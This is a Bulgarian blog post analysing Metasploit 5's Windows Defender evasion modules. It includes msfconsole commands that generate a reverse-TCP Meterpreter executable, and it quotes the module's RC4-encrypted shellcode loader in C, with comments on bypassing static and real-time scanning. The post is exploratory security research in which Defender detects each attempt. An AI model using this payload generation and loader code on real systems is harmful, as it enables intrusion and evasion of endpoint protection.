Нова година, нов късмет, нови бъгове и нова версия на Metasploit  (v5)! След повече от 7 години усилена работа, разработчиците от Rapid 7 пуснаха "major" обновление на най-популярната среда за  анализи на сигурността.

Новите възможности на версия 5 са много, но вниманието ми привлече включването на т.нар. "evasion modules", които позволяват да се заобиколи антивирусна защита. Добре, явно Veil, Shellter и други подобни инструменти ще станат излишни, но поне за сега опита ми показва, че това няма да се случи.

Изтеглих MSF версия 5.0.1-dev-d8515ba056 и след малко борба с bundle и липсващи библиотеки средата беше готова за работа. Веднага се насочих към evasion и двата примерни модула:

msf5 > show evasion

evasion
=======

   Name                             Disclosure Date  Rank    Check  Description
   ----                             ---------------  ----    -----  -----------
   windows/windows_defender_exe                      normal  No     Microsoft Windows Defender Evasive Executable
   windows/windows_defender_js_hta                   normal  No     Microsoft Windows Defender Evasive JS.Net and HTA

msf5 > use evasion/windows/windows_defender_exe
msf5 evasion(windows/windows_defender_exe) > set LHOST 192.168.0.111
LHOST => 192.168.0.111
msf5 evasion(windows/windows_defender_exe) > set LPORT 4444
LPORT => 4444
msf5 evasion(windows/windows_defender_exe) > set PAYLOAD windows/meterpreter/reverse_tcp_rc4
PAYLOAD => windows/meterpreter/reverse_tcp_rc4
msf5 evasion(windows/windows_defender_exe) > run

[*] Compiled executable size: 4096
[+] upTBclAvS.exe stored at /root/.msf4/local/upTBclAvS.exe

Само след 5 команди имах създаден изпълним файл, който би трябвало да направи обратна връзка към посочените от мен LHOST и LPORT.

Прехвърлих файлът upTBclAvS.exe на система с Windows 10 и за моя изненада, Defender откри зловреден код.

Много колеги имат негативно мнение за Windows Defender и дори го сравняват с вица "Един Форд запалил през зимата и те го кръстили Фокус!", но в последните си версии той осигурява сравнително добро ниво на защита.

До тук резултатът е 1:0 за Defender. Все пак използвания скрипт е примерен, а концепцията е, че Metasploit предоставя "еvasion" модули, чието приложение не е толкова директно, колкото бихме очаквали.

Отворих Ruby скрипта windows_defender_exe.rb и прегледах кода. Интересни ми се сториха няколко секции, като първата беше, свързана с генерирането на товара:

def rc4_key
    @rc4_key ||= Rex::Text.rand_text_alpha(32..64)
  end

  def get_payload
    @c_payload ||= lambda {
      opts = { format: 'rc4', key: rc4_key }
      junk = Rex::Text.rand_text(10..1024)
      p = payload.encoded + junk

      return {
        size: p.length,
        c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts)
      }
    }.call
  end

Към създадения товар се добавят случайни битове и се прилага RC4 шифриране с предварително генериран ключ, отново базиран на случайни символи.

Другата интересна част от кода се намира към края на файла:

def c_template
    @c_template ||= %Q|#include <Windows.h>
#include <rc4.h>

// The encrypted code allows us to get around static scanning
#{get_payload[:c_format]}

int main() {
  int lpBufSize = sizeof(int) * #{get_payload[:size]};
  LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x00000040);
  memset(lpBuf, '\\0', lpBufSize);

  HANDLE proc = OpenProcess(0x1F0FFF, false, 4);
  // Checking NULL allows us to get around Real-time protection
  if (proc == NULL) {
    RC4("#{rc4_key}", buf, (char*) lpBuf, #{get_payload[:size]});
    void (*func)();
    func = (void (*)()) lpBuf;
    (void)(*func)();
  }

  return 0;
}|
  end

  def run
    vprint_line c_template
    # The randomized code allows us to generate a unique EXE
    bin = Metasploit::Framework::Compiler::Windows.compile_random_c(c_template)
    print_status("Compiled executable size: #{bin.length}")
    file_create(bin)
  end

Именно тук се случва и магията. C-кодът се компилира от компилаторът на Metasploit и се създава изпълним EXE файл. Теоретично всичко изглежда правилно, но остава въпроса, защо Defender засича зловредния характер на приложението?

Използвах Hybrid Analysis и избрах Windows 7 за теста. Веднага си пролича, че прикритието на файла не е добро:

Докато изчаквах резултатите, направих проверка и в Metadefender и VirusTotal. Цифрите ясно сочеха, че файлът е зловреден.

Резултати от анализ в VirusTotal

Индикаторите в Hybrid Analysis, определящи злонамерения характер на изпълнимия файл са 3.

В групата с подозрителни идентификатори има няколко интересни реда - прочитането на ключове от системните регистри, свързани с Terminal Services, импортираните функции и "hook/patches".

Странното е, че в кодът на Metasploit модула не се извършва четене на регистри, въпреки засеченото действие.

Ако погледнете по-горе в публикацията ще видите следните редове C-код:

...
LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x00000040);
...
HANDLE proc = OpenProcess(0x1F0FFF, false, 4);

Това са и две от засечените подозрителни функции.

Реших да направя експеримент, модифицирайки windows_defender_exe.rb. Първо премахнах генерирането на товара, но файла отново беше засечен като злонамерен от Defender. След това оставих товара, но модифицирах lpBuf и заделянето на памет - отново беше открит злонамерен код. След като махнах всичко и оставих почти празна функцията main() успях да изтегля изпълнимия файл, без той да бъде блокиран от антивирусния процес.

... 2:0 за Defender.

Това ме наведе на мисълта, че е възможно да се използва анализ, базиран на ентропия на PE или да се е задействала определена сигнатура.

Проверка с PETools показа, че общата ентропия е приблизително 5,39, което е нормално за "native executable".

Малко търсене в Google попаднах на "Evasion not Evading". Коментарът на plowsec ме заинтригува и по-точно наличието на константни стойности, свързани с Metasploit, непроменени в последните години, специфични байтове в shellcode и др. Възможно е предположението, че Defender открива зловредния код на база на сигнатура да е вярно.

За момента резултатът изцяло в полза на Defender, което не е лошо, защото именно той се използва в много корпоративни мрежи като защита на Windows работните станции. Предполагам, че в скоро време ще се появят редица скриптове, базирани на "Evasion" модулите, които биха имали определен процент на успеваемост при избягването на антивирусните продукти.

За момента ще продължа с опитите за успешно създаване на изпълним файл (...ината винаги се отплаща...), преодоляващ защитата на Defender, чрез Metasploit и ако постигна резултат ще споделя насоки.

Илия Дафчев от Telelink Business Services работи по статичен анализ на изпълнимия файл и причините той да бъде засечен от Defender, а това доведе и до успешното избягване на защитника! Силно ви препоръчвам да прочетете неговата публикация "Beating Windows Defender. Analysis of Metasploit's new evasion modules."